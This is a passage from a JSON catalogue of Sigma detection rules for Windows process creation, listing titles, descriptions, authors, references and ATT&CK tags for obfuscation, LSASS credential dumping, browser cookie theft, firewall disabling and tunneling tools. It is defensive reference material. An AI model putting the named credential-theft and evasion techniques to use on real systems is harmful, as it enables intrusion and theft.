      "meta": {
        "author": "X__Junior (Nextron Systems)",
        "creation_date": "2023/09/11",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_browsers_chromium_mockbin_abuse.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.zscaler.com/blogs/security-research/steal-it-campaign",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_browsers_chromium_mockbin_abuse.yml"
        ],
        "tags": [
          "attack.execution"
        ]
      },
      "uuid": "1c526788-0abe-4713-862f-b520da5e5316",
      "value": "Chromium Browser Headless Execution To Mockbin Like Site"
    },
    {
      "description": "Detects potential commandline obfuscation using unicode characters.\nAdversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit.\n",
      "meta": {
        "author": "frack113, Florian Roth (Nextron Systems)",
        "creation_date": "2022/01/15",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_susp_cli_obfuscation_unicode.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1027/T1027.md#atomic-test-6---dlp-evasion-via-sensitive-data-in-vba-macro-over-http",
          "https://www.wietzebeukema.nl/blog/windows-command-line-obfuscation",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_cli_obfuscation_unicode.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1027"
        ]
      },
      "related": [
        {
          "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "e0552b19-5a83-4222-b141-b36184bb8d79",
      "value": "Potential Commandline Obfuscation Using Unicode Characters"
    },
    {
      "description": "Detects TOKEN OBFUSCATION technique from Invoke-Obfuscation",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/12/27",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_powershell_token_obfuscation.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/danielbohannon/Invoke-Obfuscation",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_token_obfuscation.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1027.009"
        ]
      },
      "related": [
        {
          "dest-uuid": "0533ab23-3f7d-463f-9bd8-634d27e4dee1",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "deb9b646-a508-44ee-b7c9-d8965921c6b6",
      "value": "Powershell Token Obfuscation - Process Creation"
    },
    {
      "description": "Detects the execution of Radmin which can be abused by an adversary to remotely control Windows machines",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/01/22",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_pua_radmin.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.radmin.fr/",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1072/T1072.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_radmin.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.lateral_movement",
          "attack.t1072"
        ]
      },
      "related": [
        {
          "dest-uuid": "92a78814-b191-47ca-909c-1ccfe3777414",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "5817e76f-4804-41e6-8f1d-5fa0b3ecae2d",
      "value": "PUA - Radmin Viewer Utility Execution"
    },
    {
      "description": "Detects attempts to disable the Windows Firewall using PowerShell",
      "meta": {
        "author": "Tim Rauch",
        "creation_date": "2022/09/14",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_powershell_disable_firewall.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.elastic.co/guide/en/security/current/windows-firewall-disabled-via-powershell.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_disable_firewall.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562"
        ]
      },
      "related": [
        {
          "dest-uuid": "3d333250-30e4-4a82-9edc-756c68afc529",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "12f6b752-042d-483e-bf9c-915a6d06ad75",
      "value": "Windows Firewall Disabled via PowerShell"
    },
    {
      "description": "Detects browsers starting with the remote debugging flags. Which is a technique often used to perform browser injection attacks",
      "meta": {
        "author": "pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/07/27",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_browsers_remote_debugging.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.mdsec.co.uk/2022/10/analysing-lastpass-part-1/",
          "https://github.com/defaultnamehere/cookie_crimes/",
          "https://yoroi.company/wp-content/uploads/2022/05/EternityGroup_report_compressed.pdf",
          "https://github.com/wunderwuzzi23/firefox-cookiemonster",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_browsers_remote_debugging.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1185"
        ]
      },
      "related": [
        {
          "dest-uuid": "544b0346-29ad-41e1-a808-501bb4193f47",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "b3d34dc5-2efd-4ae3-845f-8ec14921f449",
      "value": "Browser Started with Remote Debugging"
    },
    {
      "description": "Detects suspicious way to dump the kernel on Windows systems using dtrace.exe, which is available on Windows systems since Windows 10 19H1",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2021/12/28",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_dtrace_kernel_dump.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://docs.microsoft.com/en-us/windows-hardware/drivers/devtest/dtrace",
          "https://twitter.com/0gtweet/status/1474899714290208777?s=12",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dtrace_kernel_dump.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1082"
        ]
      },
      "related": [
        {
          "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "7124aebe-4cd7-4ccb-8df0-6d6b93c96795",
      "value": "Suspicious Kernel Dump Using Dtrace"
    },
    {
      "description": "Detects a remote file copy attempt to a hidden network share. This may indicate lateral movement or data staging activity.",
      "meta": {
        "author": "Tim Rauch",
        "creation_date": "2022/09/27",
        "falsepositive": [
          "Other programs that cause these patterns (please report)"
        ],
        "filename": "proc_creation_win_susp_priv_escalation_via_named_pipe.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.elastic.co/guide/en/security/current/privilege-escalation-via-named-pipe-impersonation.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_priv_escalation_via_named_pipe.yml"
        ],
        "tags": [
          "attack.lateral_movement",
          "attack.t1021"
        ]
      },
      "related": [
        {
          "dest-uuid": "54a649ff-439a-41a4-9856-8d144a2551ba",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "9bd04a79-dabe-4f1f-a5ff-92430265c96b",
      "value": "Privilege Escalation via Named Pipe Impersonation"
    },
    {
      "description": "Detects suspicious use of an .exe extension after a non-executable file extension like .pdf.exe, a set of spaces or underlines to cloak the executable file in spear phishing campaigns",
      "meta": {
        "author": "Florian Roth (Nextron Systems), @blu3_team (idea), Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2019/06/26",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_susp_double_extension.yml",
        "level": "critical",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://blu3-team.blogspot.com/2019/06/misleading-extensions-xlsexe-docexe.html",
          "https://twitter.com/blackorbird/status/1140519090961825792",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_double_extension.yml"
        ],
        "tags": [
          "attack.initial_access",
          "attack.t1566.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "1cdd9a09-06c9-4769-99ff-626e2b3991b8",
      "value": "Suspicious Double Extension File Execution"
    },
    {
      "description": "setupapi.dll library provide InstallHinfSection function for processing INF files. INF file may contain instructions allowing to create values in the registry, modify files and install drivers. This technique could be used to obtain persistence via modifying one of Run or RunOnce registry keys, run process or use other DLLs chain calls (see references) InstallHinfSection function in setupapi.dll calls runonce.exe executable regardless of actual content of INF file.",
      "meta": {
        "author": "Konstantin Grishchenko, oscd.community",
        "creation_date": "2020/10/07",
        "falsepositive": [
          "Scripts and administrative tools that use INF files for driver installation with setupapi.dll"
        ],
        "filename": "proc_creation_win_rundll32_setupapi_installhinfsection.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://gist.githubusercontent.com/bohops/0cc6586f205f3691e04a1ebf1806aabd/raw/baf7b29891bb91e76198e30889fbf7d6642e8974/calc_exe.inf",
          "https://lolbas-project.github.io/lolbas/Libraries/Setupapi/",
          "https://twitter.com/Z3Jpa29z/status/1313742350292746241?s=20",
          "https://raw.githubusercontent.com/huntresslabs/evading-autoruns/master/shady.inf",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_setupapi_installhinfsection.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218.011"
        ]
      },
      "related": [
        {
          "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "285b85b1-a555-4095-8652-a8a4106af63f",
      "value": "Suspicious Rundll32 Setupapi.dll Activity"
    },
    {
      "description": "Detects potential suspicious execution of a GUID like folder name located in a suspicious location such as %TEMP% as seen being used in IcedID attacks",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/09/01",
        "falsepositive": [
          "Installers are sometimes known for creating temporary folders with GUID like names. Add appropriate filters accordingly"
        ],
        "filename": "proc_creation_win_susp_execution_from_guid_folder_names.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/Kostastsale/status/1565257924204986369",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_execution_from_guid_folder_names.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1027"
        ]
      },
      "related": [
        {
          "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "90b63c33-2b97-4631-a011-ceb0f47b77c3",
      "value": "Suspicious Execution From GUID Like Folder Names"
    },
    {
      "description": "Detects the installation of VsCode tunnel (code-tunnel) as a service.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/10/25",
        "falsepositive": [
          "Legitimate installation of code-tunnel as a service"
        ],
        "filename": "proc_creation_win_vscode_tunnel_service_install.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://code.visualstudio.com/docs/remote/tunnels",
          "https://badoption.eu/blog/2023/01/31/code_c2.html",
          "https://ipfyx.fr/post/visual-studio-code-tunnel/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_vscode_tunnel_service_install.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1071.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "30bf1789-379d-4fdc-900f-55cd0a90a801",
      "value": "Visual Studio Code Tunnel Service Installation"
    },
    {
      "description": "Detects creation of a scheduled task with a GUID like name",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/10/31",
        "falsepositive": [
          "Legitimate software naming their tasks as GUIDs"
        ],
        "filename": "proc_creation_win_schtasks_guid_task_name.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/",
          "https://thedfirreport.com/2022/10/31/follina-exploit-leads-to-domain-compromise/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_guid_task_name.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1053.005"
        ]
      },
      "related": [
        {
          "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "ff2fff64-4cd6-4a2b-ba7d-e28a30bbe66b",
      "value": "Suspicious Scheduled Task Name As GUID"
    },
    {
      "description": "Detects the invocation of the Stored User Names and Passwords dialogue (Key Manager)",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/04/21",
        "falsepositive": [
          "Administrative activity"
        ],
        "filename": "proc_creation_win_rundll32_keymgr.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/NinjaParanoid/status/1516442028963659777",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_keymgr.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1555.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "d336b553-5da9-46ca-98a8-0b23f49fb447",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "a4694263-59a8-4608-a3a0-6f8d3a51664c",
      "value": "Suspicious Key Manager Access"
    },
    {
      "description": "Detects the stopping of a Windows service",
      "meta": {
        "author": "Jakob Weinzettl, oscd.community, Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/03/05",
        "falsepositive": [
          "There are many legitimate reasons to stop a service. This rule isn't looking for any suspicious behaviour in particular. Filter legitimate activity accordingly"
        ],
        "filename": "proc_creation_win_powershell_stop_service.yml",
        "level": "low",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_stop_service.yml"
        ],
        "tags": [
          "attack.impact",
          "attack.t1489"
        ]
      },
      "related": [
        {
          "dest-uuid": "20fb2507-d71c-455d-9b6d-6104461cf26b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "c49c5062-0966-4170-9efd-9968c913a6cf",
      "value": "Stop Windows Service Via PowerShell Stop-Service"
    },
    {
      "description": "Detects potential PowerShell execution from a DLL instead of the usual PowerShell process as seen used in PowerShdll",
      "meta": {
        "author": "Markus Neis, Nasreddine Bencherchali",
        "creation_date": "2018/08/25",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_powershell_dll_execution.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/p3nt4/PowerShdll/blob/62cfa172fb4e1f7f4ac00ca942685baeb88ff356/README.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_dll_execution.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218.011"
        ]
      },
      "related": [
        {
          "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "6812a10b-60ea-420c-832f-dfcc33b646ba",
      "value": "Potential PowerShell Execution Via DLL"
    },
    {
      "description": "Adversaries can interact with the DACLs using built-in Windows commands takeown which can grant adversaries higher permissions on specific files and folders",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/01/30",
        "falsepositive": [
          "Scripts created by developers and admins",
          "Administrative activity"
        ],
        "filename": "proc_creation_win_takeown_recursive_own.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1222.001/T1222.001.md#atomic-test-1---take-ownership-using-takeown-utility",
          "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/takeown",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_takeown_recursive_own.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1222.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "34e793de-0274-4982-9c1a-246ed1c19dee",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "554601fb-9b71-4bcc-abf4-21a611be4fde",
      "value": "Suspicious Recursive Takeown"
    },
    {
      "description": "Adversaries may disable security tools to avoid possible detection of their tools and activities by removing Windows Defender Definition Files",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/07/07",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_mpcmdrun_remove_windows_defender_definition.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mpcmdrun_remove_windows_defender_definition.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "9719a8aa-401c-41af-8108-ced7ec9cd75c",
      "value": "Windows Defender Definition Files Removed"
    },
    {
      "description": "Detects using WorkFolders.exe to execute an arbitrary control.exe",
      "meta": {
        "author": "Maxime Thiebaut (@0xThiebaut)",
        "creation_date": "2021/10/21",
        "falsepositive": [
          "Legitimate usage of the uncommon Windows Work Folders feature."
        ],
        "filename": "proc_creation_win_susp_workfolders.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/elliotkillick/status/1449812843772227588",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_workfolders.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "0bbc6369-43e3-453d-9944-cae58821c173",
      "value": "Execution via WorkFolders.exe"
    },
    {
      "description": "Detects scheduled task creation using \"schtasks\" that contain potentially suspicious or uncommon commands",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/02/23",
        "falsepositive": [
          "Software installers that run from temporary folders and also install scheduled tasks are expected to generate some false positives"
        ],
        "filename": "proc_creation_win_schtasks_susp_pattern.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.ncsc.gov.uk/static-assets/documents/malware-analysis-reports/devil-bait/NCSC-MAR-Devil-Bait.pdf",
          "https://twitter.com/RedDrip7/status/1506480588827467785",
          "https://app.any.run/tasks/512c1352-6380-4436-b27d-bb62f0c020d6/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_susp_pattern.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1053.005"
        ]
      },
      "related": [
        {
          "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "f2c64357-b1d2-41b7-849f-34d2682c0fad",
      "value": "Suspicious Command Patterns In Scheduled Task Creation"
    },
    {
      "description": "Detects potential credential dumping via Windows Error Reporting LSASS Shtinkering technique which uses the Windows Error Reporting to dump lsass",
      "meta": {
        "author": "@pbssubhash , Nasreddine Bencherchali",
        "creation_date": "2022/12/08",
        "falsepositive": [
          "Windows Error Reporting might produce similar behavior. In that case, check the PID associated with the \"-p\" parameter in the CommandLine."
        ],
        "filename": "proc_creation_win_werfault_lsass_shtinkering.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/deepinstinct/Lsass-Shtinkering",
          "https://media.defcon.org/DEF%20CON%2030/DEF%20CON%2030%20presentations/Asaf%20Gilboa%20-%20LSASS%20Shtinkering%20Abusing%20Windows%20Error%20Reporting%20to%20Dump%20LSASS.pdf",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_werfault_lsass_shtinkering.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1003.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "9a4ccd1a-3526-4d99-b980-9f9c5d3a6ff3",
      "value": "Potential Credential Dumping Via WER"
    },
    {
      "description": "Detects the use of IOX - a tool for port forwarding and intranet proxy purposes",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/10/08",
        "falsepositive": [
          "Legitimate use"
        ],
        "filename": "proc_creation_win_pua_iox.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/EddieIvan01/iox",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_iox.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1090"
        ]
      },
      "related": [
        {
          "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "d7654f02-e04b-4934-9838-65c46f187ebc",
      "value": "PUA- IOX Tunneling Tool Execution"
    },
    {
      "description": "Detects Obfuscated Powershell via VAR++ LAUNCHER",
      "meta": {
        "author": "Timur Zinniatullin, oscd.community",
        "creation_date": "2020/10/13",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_hktl_invoke_obfuscation_via_var.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/issues/1009",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_invoke_obfuscation_via_var.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1027",
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "e9f55347-2928-4c06-88e5-1a7f8169942e",
      "value": "Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION"
    },
    {
      "description": "Detects the execution of CustomShellHost binary where the child isn't located in 'C:\\Windows\\explorer.exe'",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/08/19",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_lolbin_customshellhost.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/Binaries/CustomShellHost/",
          "https://github.com/LOLBAS-Project/LOLBAS/pull/180",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_customshellhost.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1216"
        ]
      },
      "related": [
        {
          "dest-uuid": "f6fe9070-7a65-49ea-ae72-76292f42cebe",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "84b14121-9d14-416e-800b-f3b829c5a14d",
      "value": "Suspicious CustomShellHost Execution"
    },
    {
      "description": "Detects a \"dllhost\" process spawning with no commandline arguments which is very rare to happen and could indicate process injection activity or malware mimicking similar system processes.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/06/27",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_dllhost_no_cli_execution.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://nasbench.medium.com/what-is-the-dllhost-exe-process-actually-running-ef9fe4c19c08",
          "https://redcanary.com/blog/child-processes/",
          "https://www.ncsc.gov.uk/static-assets/documents/malware-analysis-reports/goofy-guineapig/NCSC-MAR-Goofy-Guineapig.pdf",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dllhost_no_cli_execution.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1055"
        ]
      },
      "related": [
        {
          "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "e7888eb1-13b0-4616-bd99-4bc0c2b054b9",
      "value": "Dllhost.EXE Execution Anomaly"
    },
    {
      "description": "Detects uses of a renamed legitimate createdump.exe LOLOBIN utility to dump process memory",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/09/20",
        "falsepositive": [
          "Command lines that use the same flags"
        ],
        "filename": "proc_creation_win_renamed_createdump.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/",
          "https://twitter.com/bopin2020/status/1366400799199272960",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_createdump.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1036",
          "attack.t1003.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "1a1ed54a-2ba4-4221-94d5-01dee560d71e",
      "value": "Renamed CreateDump Utility Execution"
    },
    {
      "description": "Detects calls to \"LoadAssemblyFromPath\" or \"LoadAssemblyFromNS\" that are part of the \"CL_LoadAssembly.ps1\" script. This can be abused to load different assemblies and bypass App locker controls.",
      "meta": {
        "author": "frack113, Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/05/21",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_powershell_cl_loadassembly.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/Scripts/CL_LoadAssembly/",
          "https://bohops.com/2018/01/07/executing-commands-and-bypassing-applocker-with-powershell-diagnostic-scripts/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_cl_loadassembly.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1216"
        ]
      },
      "related": [
        {
          "dest-uuid": "f6fe9070-7a65-49ea-ae72-76292f42cebe",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "c57872c7-614f-4d7f-a40d-b78c8df2d30d",
      "value": "Assembly Loading Via CL_LoadAssembly.ps1"
    },
    {
      "description": "Detects execution of the \"cloudflared\" tool with the tunnel \"cleanup\" flag in order to cleanup tunnel connections.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/05/17",
